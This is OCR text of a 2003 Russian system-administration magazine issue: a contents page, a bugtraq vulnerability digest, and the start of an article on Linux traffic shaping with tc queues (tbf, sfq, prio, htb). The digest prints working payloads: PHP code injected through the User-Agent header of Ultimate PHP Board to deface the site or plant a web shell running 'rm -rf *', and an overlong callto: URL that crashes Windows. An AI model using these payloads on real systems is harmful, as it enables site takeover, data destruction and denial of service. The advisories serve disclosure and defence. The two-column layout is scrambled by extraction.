Вы находитесь на странице: 1из 98

№6(7) июнь 2003

подписной индекс 81655


журнал для cистемных администраторов,
вебмастеров и программистов

Введение в OpenBSD
Скрипты для
подсчета трафика:
реализация в FreeBSD
Использование IPSec
в Windows 200x
Контрольная сумма
на защите
Linux/FreeBSD
Создание
загрузочных дискет
и CD-дисков Linux
оглавление

АДМИНИСТРИРОВАНИЕ
Виртуальный компьютер
Денис Колисниченко
Статическая маршрутизация dhsilabs@mail.ru 64
в Linux. iproute2
Часть2 БЕЗОПАСНОСТЬ
Всеволод Стахов
CEBKA@smtp.ru 4
Контрольная сумма на защите
Введение в OpenBSD Linux/FreeBSD
Денис Назаров Сергей Яремчук
pheonix@sysattack.com 14 grinder@ua.fm 70
Учет трафика с помощью программ Перехват Shell через YaBB
MRTG и LAN Billing Виктор Игнатьев
Денис Колисниченко 20 n4vy@nm.ru 78
dhsilabs@mail.ru
HARDWARE
Ipfw и управление трафиком в FreeBSD
Игорь Чубин
imchubin@mail.ru 26 Глубоководное погружение
в чипсет Intel 875P
Скрипты для подсчета трафика: Крис Касперски
пример реализации в FreeBSD kk@sendmail.ru 82
Денис Пеплин
info@volginfo.ru 36 СЕТИ
Создание загрузочных дискет
и CD-дисков Linux Дальняя связь. Как это бывает
Всеволод Стахов Денис Еланский
CEBKA@smtp.ru 44 grosm@samag.ru 90
Использование IPSec в Windows 200x BUGTRAQ 2, 13, 19, 35, 43, 77
Максим Костышин
Maxim_kostyshin@mail.ru 52

№6(7), июнь 2003 1


bugtraq
Удаленное выполнение произвольного 3. Отказ в обслуживании связан с неправильным рас-
PHP-кода через HTTP-заголовок пределением памяти в IIS 4.0-5.0 при построении заголов-
User-Agent в Ultimate PHP Board ков, которые будут возвращены веб-клиенту. Атакующий
Уязвимость обнаружена в Ultimate PHP Board (UPB). Уда- должен быть способен загрузить ASP-страницу на уязви-
ленный пользователь может выполнить произвольный PHP- мый IIS-сервер. Если атакующий впоследствии запросит
код на системе как UPB-администратор. ASP-страницу, которая возвращает чрезвычайно большой
F0KP сообщает, что в этом форуме присутствует серь- заголовок запрашиваемому веб-клиенту, IIS не ограничит
езная уязвимость, которая позволяет атакующему выпол- объем выделяемой памяти для этого запроса, в результа-
нять произвольный PHP-код. UPB протоколирует некоторую те работа сервера может аварийно завершиться вслед-
информацию о посетителях (такую, как REMOTE_ADDR и ствие исчерпания доступной памяти на системе.
HTTP_USER_AGENT) в текстовый файл в директории `db', 4. Отказ в обслуживании связан с неправильной обра-
который называется `iplog'. боткой чрезмерно длинных WebDAV-запросов, передан-
Затем в панели администратора администратор фору- ных к IIS 5.0 и 5.1. В результате работа IIS аварийно за-
ма может вызвать admin_iplog.php, который просто подклю- вершится и сервер будет перезапущен автоматически
чает `iplog'. Например: после аварии. Этот патч требует предварительно установ-
ленный патч MS02-050. Уязвимость происходит, когда
e@some_host$ telnet hostname 80 клиент получает запрос более 49,153 байт, используя
Connected to hostname at 80
GET /board/index.php HTTP/1.0 метод 'PROPFIND' или 'SEARCH'.
User-Agent: <? phpinfo(); ?> Уязвимость обнаружена в Internet Information Service
Когда администратор вызовет admin_iplog.php, ваш код 4.0-5.1.
PHP будет выполнен.
Пример:
Чрезмерно длинный запрос NetMeeting
1. <? system( "echo \'hacked\' > ../index.html" ); ?> URL приводит к аварийному завершению
дефейсит главную страницу форума. работы Windows-систем
2. Создаст tcsh.php с правами httpd в корневой дирек- Отказ в обслуживании обнаружен в операционных систе-
тории веб-сайта. Затем вам просто нужно будет зайти на мах Microsoft Windows 2000 и XP в обработке NetMeeting
http://hostname/tcsh.php?cmd=rm -rf * URL. Удаленный пользователь может сконструировать
После внедрения кода через поле User-Agent вам нужно URL, который при загрузке аварийно завершит работу
подождать, пока администратор посмотрит admin_iplog.php. операционной системы.
Уязвимость обнаружена в Ultimate PHP Board 1.9. Сообщается, что злонамеренный NetMeeting CallTo
URL (callto:msils) может вызвать 'Kmode'-исключение.
Пример:
Отказ в обслуживании, удаленное callto:msils/
переполнение буфера и XSS в Microsoft AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Internet Information Service 4.0-5.1 (патч) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Microsoft выпустила обновление для IIS 4.0-5.0, которое уст- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
раняет все ранее обнаруженные уязвимости в IIS 4.0-5.0, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
выпущенные после Windows NT 4.0 Service Pack 6a для IIS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
4.0 и Windows 2000 Service Pack 2 для IIS 5.0 и IIS 5.1. Также AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+type=directory
патч устраняет четыре новые, недавно обнаруженные уяз-
вимости, которые могут использоваться удаленным атаку- Уязвимость подтверждена на системах Windows 2000
ющим для XXS-нападения, DoS-атаки и выполнения произ- SP3 и Windows XP Pro.
вольного кода на целевой системе.
1. Уязвимость Cross-Site Scripting обнаружена в механиз-
ме отображения сообщений об ошибках при переадресации Demarc PureSecure ракрывает пароли
запрашиваемого URL в IIS 4.0, 5.0 и 5.1. Атакующий может к базе данных локальному
сконструировать злонамеренную ссылку, содержащую про- пользователю
извольный код сценария, который будет выполнен в браузе- Уязвимость обнаружена в Demarc PureSecure. Сервер
ре пользователя, кликнувшего на эту ссылку в контексте хранит пароли для входа на сервер в открытом виде в
уязвимого сайта. файле на системе.
2. Переполнение буфера в IIS 5.0 связано с недостаточ- Сообщается, что пароли базы данных и другая ин-
ной проверкой запросов для некоторых типов веб-страниц, формация доступа для входа на сервер хранится в неза-
таких как SSI (server side includes). Для успешной эксплуа- шифрованном виде. Локальный пользователь может про-
тации уязвимости атакующий должен быть способен загру- смотреть эту информацию и затем получить доступ к уда-
зить SSI-страницу на уязвимый IIS веб-сервер. Если атакую- ленной базе данных.
щий впоследствии запросит эту страницу, произойдет пере- Уязвимость обнаружена в Demarc PureSecure 1.6.
полнение буфера, позволяющее выполнить произвольный
код на сервере с пользовательскими привилегиями. Составил Александр Антипов

2
администрирование

СТАТИЧЕСКАЯ МАРШРУТИЗАЦИЯ
В LINUX.
IPROUTE2
ЧАСТЬ 2

ВСЕВОЛОД СТАХОВ

4
администрирование
Во второй части описаны принципы управления сетевым тра- опять приводит к перегрузке. Поэтому обычно очередь
фиком посредством очередей. Эта тема зачастую не упо- просто отбрасывает лишние пакеты от различных источ-
минается в руководствах, но на самом деле с помощью оче- ников (обычно используется алгоритм генерации случай-
редей сетевых пакетов можно выполнять широкий круг ис- ных чисел), если за определенный промежуток времени
ключительно полезных задач. Приведу несколько примеров, её размер превзошёл некий лимит. Такой механизм на-
которые часто встречаются на практике. Итак, очереди спо- зывается «случайное раннее обнаружение» (Random
собны контролировать скорость передачи пакетов, ограни- Early Detection, RED).
чивая нежелательный сетевой трафик по скорости (позво- Вторым краеугольным камнем системы управления тра-
ляет избежать выход из строя сервера или отдельных демо- фиком iproute2 является многополосность очередей. Пред-
нов в результате DoS- и даже DDoS-атак). Позволяет осу- ставим себе, что у сетевого интерфейса 2 независимые
ществлять распределение нагрузки между несколькими се- очереди, имеющие различный приоритет. То есть пакеты,
тевыми интерфейсами. С помощью очередей также можно поступившие в очередь 2, будут обрабатываться, только
добиться существенного увеличения производительности если в очереди 1 пакетов, ждущих обработки, нет. Что же
сети в целом при помощи разделения различных видов тра- дает такая схема? С помощью механизма полос можно
фика (например, интерактивные данные должны обрабаты- выделять трафик, требующий быстрой обработки, и поме-
ваться быстрее) на основе поля ToS (type of service – тип щать его в 1-ю полосу, в то время как остальной трафик,
услуг). Iproute2 также дает возможность ограничения SYN- не требующий особенно высокой скорости (например, ftp,
flood и ICMP-dDoS атак. Кроме этого, можно устанавливать smtp, pop) помещается в полосу с меньшим приоритетом
свой предел скорости на основе различных фильтров. (большим порядковым номером). Нечто подобное предла-
Я начну с некоторых пояснений терминологии. Что есть гают сети ATM или Frame Relay, но iproute2 позволяет орга-
очередь в данном контексте? Очередь – это механизм, по- низовать подобное поведение на любом интерфейсе. Не-
зволяющий управлять приемом и передачей пакетов. Оче- обходимость в такой системе возникает при передаче ин-
редь является физическим объектом в памяти и содержит терактивных данных, например, видео или голосовых (ip-
пакеты, поступившие на сетевой интерфейс. Чтобы понять телефония). Существует следующий подход к выделению
принцип работы очередей (а именно возможности ограни- интерактивного трафика: поле ToS – метка, присваивае-
чения скорости), рассмотрим такой пример: пакет посту- мая пакету с помощью netfilter (--tos) или присваиваемая
пает в пустую очередь и передается на обработку, следую- непосредственно сетевой службой (ftp, smtp...).
щий пакет поступает в очередь и ждет обработки первого Поле ToS является ранней попыткой реализации сер-
пакета (здесь под словом обработка подразумевается до- виса QoS, обеспечивающей достаточно небольшой набор
ставка пакета ядром на сокет-приемник), если в очередь значений, приведу таблицу наиболее популярных прото-
поступает много пакетов, то они не успевают обрабаты- колов и значения ToS для них:
ваться, и очередь растет. Если размер очереди ограничен  минимальная задержка – telnet, ftp (команды), ssh, smtp
(а он ограничен всегда), то следующие пакеты не попада- (команды), DNS (udp);
ют в очередь, а просто отбрасываются. Таким образом,  максимальная полоса пропускания – ftp (данные), smtp
регулируя длину очереди и зная время обработки одного (данные);
пакета, можно вычислить наибольшую скорость передачи  максимальная надежность;
пакетов. Замечу, что утилита tc пакета iproute2, выполняю-  минимальная стоимость.
щая контроль над очередями, осуществляет преобразова-
ние скорость → длина очереди автоматически, и вам не- В настоящее время в основном используются значения
обходимо указывать не непосредственно длину очереди, а «минимальная задержка» и «максимальная полоса про-
лимит скорости в формате: пускания» (хотя я не исключаю других вариантов).
 mbit – мегабиты в секунду; Очереди, имеющие возможность фильтрации трафика
 kbit – килобиты в секунду; по полосам, называют CBQ, (Class-Based Queuing – оче-
 mbps – мегабайты в секунду; редь, классифицирующая пакеты), хотя это и не совсем
 kbps – килобайты в секунду. правильно, т.к. существует отдельный тип очереди cbq,
поэтому очереди такого типа я в дальнейшем буду обозна-
На деле реализация очередей несколько отличается чать как classfull. Команда tc имеет возможность управле-
от вышеприведенной, т.к. отбрасывание пакетов из кон- ния множеством типов очередей, поэтому я бы хотел не-
ца очереди приводит к неприятным последствиям для сколько подробнее остановиться на описании синтаксиса
TCP-протокола: например, когда сообщение потеряно, этой команды (тем более, что зачастую длинные цепочки
приложение-отправитель может рассматривать это как команд tc зачастую выглядят весьма устрашающе).
сигнал о том, что оно посылает пакеты слишком быстро. Для корректной работы traffic control необходимо вклю-
TCP реагирует на такой сигнал замедлением отправки чить поддержку нужных типов очередей на уровне ядра.
сообщений. Но когда очередь полна, то часто несколько При конфигурации ядра необходимо зайти на страницу
сообщений отбрасываются друг за другом – в результа- Networking Options, войти в пункт QoS and/or fair queueing,
те целый ряд приложений решает замедлить передачу. после чего в выбранном подразделе выделить галочкой
После этого приложения зондируют сеть для определе- опцию QoS and/or fair queueing. В открывшемся списке
ния ее загруженности и буквально через несколько се- параметров отметьте нужные типы очередей и опции traffic
кунд возобновляют передачу с прежним темпом, что control. В принципе можно включить все опции, т.к. это

№6(7), июнь 2003 5


администрирование
может пригодиться в будущем при расширении схемы Для примера добавлю ещё одну очередь:
контроля трафика.
Как и ip, команда tc может управлять несколькими се- tc qdisc add dev eth0 parent 1: handle 20: queue-type [parameters]
тевыми объектами. Их, собственно, три:
 qdisc – управление очередями;
 class – управление определёнными частями очереди,
например, полосами;
 filters – управление фильтрами (фильтр определяет, в
какую полосу очереди попадет тот или иной пакет на
основании определенных параметров пакета, напри-
мер, протокола, порта, метки, и т. д.).
Как происходит извлечение пакета из очереди ядром?
Синтаксис команд следующий (нагло содрано мною из Ядро запрашивает очередь самого верхнего уровня (root)
мануала): о необходимости извлечения пакета. Очередь верхнего
уровня проверяет очереди нижнего уровня и выбирает ту,
tc qdisc [add | change | replace | del | link] dev DEV ↵ которая подходит по определенным параметрам (это за-
[parent qdisc-id | root] [handle qdisc-id] queue-type ↵
[qdisc specific parameters] висит от типа очереди-контейнера и её настроек), после
осуществления выбора очередь верхнего уровня извле-
tc class [add | change | replace | del] dev DEV ↵
parent qdisc-id [classid class-id] queue-type ↵ кает пакет и передает его выше (очереди, находящейся
[qdisc specific parameters] выше по иерархии, или ядру, если это очередь root). Та-
tc filter [add | change | replace | del] dev DEV ↵ ким образом, сама иерархия построена по принципу ми-
[parent qdisc-id | root] protocol protocol prio ↵ нимальных знаний о нижних уровнях. Каждый уровень
priority filter-type [filtertype specific parameters] ↵
flowid flow-id знает о существовании только одного нижнего уровня и
осуществляет выбор только в рамках одного уровня. Так
 tc qdisc show [ dev DEV ] – показ очередей интерфейса; примерно можно представить схему уровней очередей:
 tc class show dev DEV – показ классов сетевого уст-
ройства;
 tc filter show dev DEV – показ фильтров интерфейса DEV.

В основном отметьте последние 3 команды, т.к. назна-


чение первых будет подробно описано далее на конкрет-
ных примерах.
Параметров у различных объектов очень много, что-
бы описать их все, поэтому сейчас я бы хотел пояснить
значение параметров parent qdisc-id и handle (classid)
qdisc-id. На самом деле при добавлении новой очереди к
очереди-контейнеру (classfull-очереди, понятие будет рас-
смотрено далее) производится построение дерева объек-
тов очередей (на самом деле дерево содержится не в ядре,
которое ничего не подозревает о наличии подочередей, а
выбор подочереди для извлечения из неё пакета осуще-
ствляет очередь-контейнер). Например:

tc qdisc add dev eth0 root handle 1: classful-queue [parameters] По моему мнению, построение дерева очередей – пред-
мет большинства ошибок в скриптах, т.к. очень легко пе-
Дерево выглядит так: репутать идентификаторы очередей. Для тех, кто собрался
продумывать систему контроля трафика, необходимо за-
ранее спланировать (например, нарисовать схему на бу-
маге) будущее дерево, дабы избежать досадных прома-
Добавляем далее: хов. Особенно важным становится этот аспект при пост-
роении сложных очередей, состоящих из нескольких про-
tc qdisc add dev eth0 parent 1: handle 10: queue-type [parameters] стых очередей. Замена (удаление) очередей производит-
ся командой tc qdisc change (del) с указанием значений
parent и handle:

# tc qdisc del dev eth0 root handle 1: queue-type

После некоторого чисто теоретического вступления на-


стало время поговорить о типах очередей и о применении

6
администрирование
их на практике. Таковых типов существует 6. Среди них 3 оказывается полезным (хотя, честно говоря, я с такими
типа являются classfull (возможность разделять трафик по ситуациями не встречался, но, может быть, кому-то это
полосам): prio, cbq, htb, а 3 являются обычными (classless): окажется полезным). Например, имеется ADSL-модем, ко-
tbf, pfifo, sfq. Classless-очереди являются более простыми торый имеет очень большую очередь на upload. Поэтому
объектами, чем classfull, и способны лишь устанавливать при попытке передачи данных в сеть, скорость загрузки
определённые ограничения на передачу трафика. Основ- данных сильно падает, т.к. на модеме заполняется длин-
ное отличие 2 семейств очередей в том, что classfull-оче- ная очередь, контролировать которую не представляется
реди содержат внутри себя classless-«подочереди», отли- возможным. Одним из вариантов решения проблемы яв-
чающиеся приоритетом. Таким образом, classfull-очереди ляется размещение tbf-очереди на Linux-маршрутизато-
являются контейнерными объектами и позволяют выпол- ре и установке максимального времени ожидания пакета
нять разделение трафика по другим очередям (в термино- в очереди. Пример конфигурации:
логии traffic control – классами). Для начала я рассмотрю
classless-очереди, а потом перейду к более сложным (но, # tc qdisc add dev ppp0 root tbf rate 220kbit ↵
latency 50ms burst 1500
несомненно, более интересным) classfull-очередям.
TBF(token bucket filter) – простой тип очереди, не вы- Скорость rate выбрана исходя из максимальной скоро-
полняющий разделения пакетов, который удерживает ско- сти интерфейса (в данном примере 256 Кбит/с) минус не-
рость передачи пакетов на примерно постоянном уровне сколько процентов. Размер очереди burst выбран также со-
(меньшем, чем реальная скорость интерфейса). При этом, ответственно скорости. Особо отметьте параметр latency:
если скорость передачи меньше заданного значения, то чем меньше этот параметр, тем меньше пакеты будут за-
пакеты кладутся в очередь, пока не будет достигнут опре- держиваться в очереди – меньшая задержка увеличивает
делённый размер очереди, который затем передается на интерактивность данных. Заметьте, tbf не спасет вас от
обработку (но происходит некоторая задержка данных, т.к. флуда (см. замечание далее в описании sfq-очередей).
происходит ожидание необходимого количества пакетов Следующий тип classless-очереди – sfq (stochastic
для поддержания постоянной скорости передачи). Если же fairness queueing – очередь равномерного случайного рас-
скорость превышает заданную, то «лишние» пакеты про- пределения пакетов). Алгоритм работы этого типа таков:
сто отбрасываются. Такой тип очереди нельзя порекомен- данные, поступающие в очередь, разделяются на доста-
довать для сетей, где очень резко меняется загруженность, точно большое количество «виртуальных» подочередей
т.к. могут возникнуть неоправданные задержки при сла- (виртуальных, т.к. в памяти существует одна очередь, но
бой загрузке сети и снижение пропускной способности ин- она представляется совокупностью многих подочередей),
терфейса при большой загрузке. Основные параметры tbf: из подочередей данные извлекаются по очереди. Т.е. это
 limit или latency – число байт, которые могут быть по- напоминает сети Token Ring с передачей маркера по коль-
мещены в очередь для ожидания, фактически – мак- цу. Подочередь, получившая маркер, передает один па-
симальное время, которое может провести пакет в оче- кет данных, а маркер переходит к следующей подочере-
реди (чем больше limit, тем сильнее увеличивается ди. Случайность передачи обеспечивается тем, что раз-
задержка данных при низкой загрузке интерфейса); мер подочередей обычно не фиксируется жестко и дан-
 burst (buffer или maxburst) – длина буфера очереди в ные могут попадать в различные подочереди. Такая оче-
байтах, чем больше заданная скорость передачи, тем редь весьма полезна при сильной загрузке сетевого ин-
больше должен быть буфер данных, например, для терфейса многими клиентами. SFQ не позволяет захва-
скорости 10 mbit необходим буфер не менее 10 Кб, а тить одному клиенту все ресурсы обработки пакетов, по-
для скорости 256 kbit – не менее 1 Кб. В общем, рас- этому обеспечивается примерно одинаковая скорость по-
считывается как rate_in_bytes/100. Для 100 Мбит – ступления данных от различных клиентов. Учтите, это не
104857600/800 = 1310172 байт. При указании этого спасет от DoS или банального флуда, т.к. любая очередь
параметра учтите, что все указанные значения – ми- управляет скоростью обработки данных, т.е. фактически
нимальные, ничто не мешает вам увеличить этот па- скоростью передачи ответных пакетов, а при наводнении
раметр для гарантии того, что пакеты не будут от- пакетами интерфейса, последний не сможет принимать
брасываться очередью по причине переполнения пос- другие пакеты, и очередь в этом случае не помогает, т.к.
ледней. Фактически размер буфера ограничен толь- нарушается работа самого сетевого устройства. Таким
ко размером физической памяти системы (т.к. буфер образом, sfq-очереди эффективны для регулирования ско-
очереди обязан находиться в памяти); рости передачи пакетов различным клиентам. Никогда не
 mpu – минимальный размер пакета для помещения в забывайте об этом факте (хотя далее будет приведен при-
очередь, пакеты меньшей длины отбрасываются, для се- мер, позволяющий «спасти» систему от DoS-атак при по-
тей Ethernet каждый пакет должен быть больше 64 байт; мощи очередей, но при этом, если наводняется сам ин-
 rate – заданый уровень скорости; терфейс, то работать он все равно не будет). Параметры
 peakrate – максимально возможная скорость пере- sfq-очередей:
дачи пакетов из очереди в интерфейс, по умолча-  pertrub – число секунд, после которого происходит пе-
нию 1 Мбит/с. рерасчет длины подочередей, по умолчанию – 0, т.е.
переконфигурирования не происходит, рекомендует-
С одной стороны, tbf снижает в общем пропускную спо- ся устанавливать этот параметр, равным примерно
собность интерфейса, но существуют ситуации, когда это 10 секундам;

№6(7), июнь 2003 7


администрирование
 quantum – число байт, которые может передать подоче- TOS ¹ ïîëîñû
Ìàêñèìàëüíàÿ íàäåæíîñòü – 1
редь, получившая маркер, значение по умолчанию – Ìèíèìàëüíàÿ öåíà – 2
MTU интерфейса – подходит для большинства случа- Ìàêñèìàëüíàÿ ïðîïóñêíàÿ ñïîñîáíîñòü – 2
Ìèíèìàëüíàÿ çàäåðæêà (èíòåðàêòèâíûé) – 1
ев, т.к. это гарантирует, что очередь сможет передать
хотя бы один пакет. Среди параметров prio-очереди можно отметить толь-
ко 2: bands – число полос (по умолчанию – 3) и priomap –
Sfq-очереди удобно применять для балансирования карта распределения трафика в зависимости от поля TOS.
нагрузки сервера: Эти параметры редко приходится менять, т.к. для слож-
ных ситуаций лучше применять более сложные очереди.
# tc qdisc add dev eth0 root sfq pertrub 10 Очередь prio очень полезна, если необходимо повысить
общую пропускную способность интерфейса. Разделение
Наконец, самый простой тип classless-очереди – pfifo на основе TOS особенно выгодно в сетях Unix, т.к. попу-
(лимит пакетов) и bfifo (лимит байт). Эти очереди явля- лярные сервера и приложения умеют грамотно устанавли-
ются простыми очередями определённой длины, не вы- вать флаг TOS (например, SSH устанавливает TOS «Ми-
полняющими никаких действий над поступающими в нимальная задержка», а scp – «Максимальная пропускная
них пакетами. Единственный параметр таких очередей способность»). К сожалению, в сетях, где имеются клиен-
– limit, означающий размер очереди в пакетах (pfifo) и в ты M$, ситуация усложняется, т.к. по неизвестной причине
байтах (bfifo). M$ ставит свои ОС в привилегированные условия, уста-
навливая TOS «Интерактивный» по умолчанию. Prio еще
# tc qdisc add dev eth0 root pfifo limit 500 полезна тем, что может содержать очереди различного
типа, например, tbf или sfq. Это её основное отличие от
Создает очередь длиной в 500 пакетов. очереди pfifo_fast, которая создает три полосы pfifo по умол-
Прежде чем приступать к чтению следующего разде- чанию и не позволяет менять тип подочередей. Поэтому
ла, полезно вспомнить о принципах построения дерева тип pfifo_fast относится к classless, хотя осуществляет раз-
объектов очередей, т.к. далее будет рассказываться о деление трафика, но подочереди являются неотделимой
classfull-очередях, при создании которых необходимо до- частью самой pfifo_fast. Приведу пример создания prio-оче-
бавлять очереди (или классы) в очереди-контейнеры. реди, содержащей 2 подочереди sfq и одну tbf:
Итак, classfull-очереди. Как работает такая очередь? Псевдо-дерево будет выглядеть так:
Гм... строго говоря, classfull-очередь – это обычно некий
контейнер, содержащий другие очереди. Решение, куда
отправить тот или иной пакет, принимается на основании
фильтров (о них будет рассказано далее) или на основа-
нии приоритета очереди-потомка. Решение, откуда от-
правлять пакет на обработку верхнему уровню, принима-
ется на основании приоритета и настроек очереди-кон-
тейнера. Очереди же внутри контейнера не знают о су-
ществовании родителя непосредственно, т.е. они продол-
жают вести себя обычным образом, но все операции осу-
ществляются не с ядром, а с очередью верхнего уровня.
Итак, далее я бы хотел рассказать о некоторых типах # tc qdisc add dev eth0 root handle 1: prio
classfull-очередей, которые являются наиболее полезны-
ми на практике. Заметьте, что 1: добавляет автоматически три полосы –
Первый тип – prio-очереди. Очередь такого типа мо- 1:1 1:2 1:3, т.к. по умолчанию количество полос равно трем.
жет разделять трафик между тремя полосами, которые
являются очередями любого типа. Разделение осуще- # tc qdisc add dev eth0 parent 1:1 handle 10: sfq pertrub 10
# tc qdisc add dev eth0 parent 1:2 handle 20: ↵
ствляется на основании фильтров (см. далее). Каждая tbf rate 1mbit buffer 15000 latency 10ms
подочередь, входящая в prio, имеет свой приоритет, оп- # tc qdisc add dev eth0 parent 1:3 handle 30: sfq pertrub 10
ределяемый значением handle. При этом больший при-
оритет имеет та подочередь, которая относится к клас- Если вы попробуете передавать данные различного типа,
су 1:. Т.е. при извлечении пакета из очереди вначале например ssh и ftp, то заметите, что интерактивный трафик
исследуется подочередь с большим приоритетом, если поступает в 1-ю и 2-ю полосы, а неинтерактивный – в 3-ю
в последней нет пакетов для обработки, то выбирается полосу. Если prio является достаточно простым типом оче-
очередь с более низким приоритетом и т. д. Каким же реди, то следующие типы не обладают этим свойством.
образом трафик разделяется между полосами? Есть Прежде всего, это тип cbq (classfull based queueing).
два пути: использование фильтров и использование Этот тип позволяет добавлять множество классов и осу-
поля TOS. На основании поля TOS различный вид тра- ществлять весьма нетривиальную обработку трафика.
фика помещается в подочереди с разным приоритетом Распределение трафика по классам осуществляется по-
(отметьте, что очереди с меньшим номером обладают средством фильтров. Но cbq-очереди слишком сложны и
большим приоритетом): не всегда делают то, что от них требуется. По этой причи-

8
администрирование
не я буду рассматривать не cbq-очереди, а их ближайших äîáàâëåíèå ñàìîé î÷åðåäè → äîáàâëåíèå êëàññîâ →
äîáàâëåíèå ôèëüòðîâ, ðàñïðåäåëÿþùèõ òðàôèê ïî êëàññàì →
родственников – htb (hierarchial token bucket), которые äîáàâëåíèå î÷åðåäåé (îáû÷íî classless, ïî óìîë÷àíèþ pfifo),
имеют те же возможности, что и cbq-очереди, но лишены ðåàëèçóþùèõ êëàññû
недостатков последних – излишней громоздкости синтак-
сиса и непрозрачности (единственным недостатком яв- Команды, делающие это, представлены ниже. Добав-
ляется то, что для их использования необходимо патчить ляем классы:
2.2 ядро, но 2.4.20 ядро имеет встроенную поддержку это-
го типа очередей). tc class add dev eth0 parent 1: classid 1:1 ↵
htb rate 9mbit ceil 9mbit burst 12500
Итак, позвольте представить, htb-очереди. Для нача- tc class add dev eth0 parent 1:1 classid 1:10 ↵
ла убедитесь, что вы имеете ядро версии 2.4.20 и выше. htb rate 2mbit ceil 9mbit burst 12500
tc class add dev eth0 parent 1:1 classid 1:11 ↵
Если такового не имеется, необходимо сходить на сайт htb rate 3mbit ceil 9mbit burst 12500
проекта htb – http://luxik.cdi.cz/~devik/qos/htb/ и скачать tc class add dev eth0 parent 1:1 classid 1:12 ↵
htb rate 1mbit ceil 9mbit burst 12500
пакет htb3, содержащий патчи для ядер 2.2 и 2.4, а также tc class add dev eth0 parent 1:1 classid 1:13 ↵
исправленную версию tc. Находится этот пакет по адресу htb rate 3mbit ceil 9mbit burst 12500
http://luxik.cdi.cz/~devik/qos/htb/v3/htb3.6-020525.tgz. Что же
позволяют делать htb-очереди? Они позволяют регулиро- Псевдодерево очередей будет выглядеть так:
вать полосу пропускания трафика и фактически созда-
вать на базе одного интерфейса несколько более медлен-
ных, и разделять трафик по полосам, отличающимся по
скорости передачи. На самом деле htb-очередь – очень
полезная вещь.
Допустим, нам необходимо повысить полосу пропус-
кания www- и smtp-трафика, но понизить скорость ftp-тра-
фика. С помощью очереди prio можно лишь менять при-
оритет разного рода трафика, но если передается только
ftp-данные, то каким бы ни был приоритет ftp, все равно
этот трафик будет передаваться с максимальной скорос-
тью. Единственной возможностью решения такой ситуа- Сделаю некоторые пояснения относительно парамет-
ции для prio-очереди является использование в качестве ров классов htb. Параметр rate означает полосу пропус-
полос tbf-очередей. В то же время, если необходимо орга- кания, ceil означает максимальную скорость обмена клас-
низовать весьма нетривиальное распределение трафика са с родительской очередью (или классом). Также есть
и ограничение полос пропускания, то лучше всего исполь- возможность указания приоритета каждого класса ана-
зовать htb-очередь. Для упрощения понимания принци- логично prio-очереди при помощи параметра prio (анало-
пов создания htb-очередей приведу простой пример. До- гично меньшее значение параметра означает больший
пустим, к серверу подключено 2 клиента (А и Б). Эти кли- приоритет). Существуют 2 параметра burst и cburst, регу-
енты пользуются только www- и smtp-сервисами (такое лирующие параметры буфера очереди:
упрощение сделано для наглядности, далее будут приве-  burst – размер в байтах буфера, для Intel-машин вы-
дены примеры реальных скриптов). Имеется 10-ти мега- числяется по формуле (speed_in_bits)/(1008); для на-
битный интерфейс, полосы пропускания будут выглядеть шего случая минимальное значение – 12500 байт;
таким образом:  cburst – означает минимальный размер данных в бай-
тах, передаваемых родительской очереди; обычно не
Êëèåíò Ñåðâèñ Ïîëîñà ïðîïóñêàíèÿ меньше mtu-интерфейса.
A smtp 2mbit
A www 3mbit
B all 1mbit После добавления классов логичным является добавле-
other all 2mbit
ние средств, распределяющих трафик по этим классам. Та-
Команды, реализующие эту схему, будут выглядеть так: ким средством являются фильтры. Вернемся к нашему про-
стому примеру. Для него фильтры будут добавляться так:
# tc qdisc add dev eth0 root handle 1: htb default 13
# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 ↵
match ip src A_ip match ip dport 80 0xffff flowid 1:10
Думаю, эта команда не вызывает трудностей в пони- # tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 ↵
мании. Параметр default 13 означает, что по умолчанию match ip src A_ip match ip dport 25 0xfff flowid 1:11
# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 ↵
трафик будет направляться на полосу с идентификато- match ip src B_ip flowid 1:12
ром 13. Трафик «по умолчанию» означает тот трафик,
который не был распределён при помощи фильтров. Поясню все по порядку. Директива protocol означает
Теперь необходимо добавить полосы – классы. Учти- протокол для фильтрации, parent – очередь, c которой ра-
те, что классы – это объекты, которые являются состав- ботает фильтр (в данном случае корневая htb), prio – при-
ными частями classfull-очередей, но сами по себе не яв- оритет данного фильтра (чем меньше значение, тем боль-
ляются очередями. Таким образом, схема составления htb- ше приоритет), u32 значит, что ведется поиск совпадений
очереди выглядит примерно так: в любой части пакета, match ... – правила совпадения оп-

№6(7), июнь 2003 9


администрирование
ределенных полей пакета с заданными, если этой дирек-  поиск совпадения области роутинга:
тивы нет, то под этот фильтр подходят любые неотфильт-
рованные ранее пакеты (хотя необходимо установить бо- # ip route add some_network via some_gate dev ↵
eth0 realm 2
лее низкий приоритет для этого фильтра, иначе он будет
обрабатывать весь трафик, что не есть хорошо): область обозначается директивой realm, и фильтр для
пакетов, попадающих в эту область (т.е. тех, что на-
# tc filter add dev eth0 protocol ip parent 1:0 ↵ правлены в сеть some_network):
prio 2 flowid some_band

Директива flowid обозначает идентификатор класса, куда # tc filter add dev eth0 parent 1:0 protocol ip ↵
prio 1 route to 2
фильтр будет отправлять трафик.
Как правильно строить правила совпадения? При по- Если нужно выбирать пакеты, приходящие из области
строении учтите несколько общих правил: маршрутизации, то нужно просто заменить to на from;
 если в одной команде tc filter add встретилось несколько  отбор трафика, превосходящего определенный лимит
директив match, то они объединяются операцией «И»; скорости (очень полезно): в команде tc filter можно при-
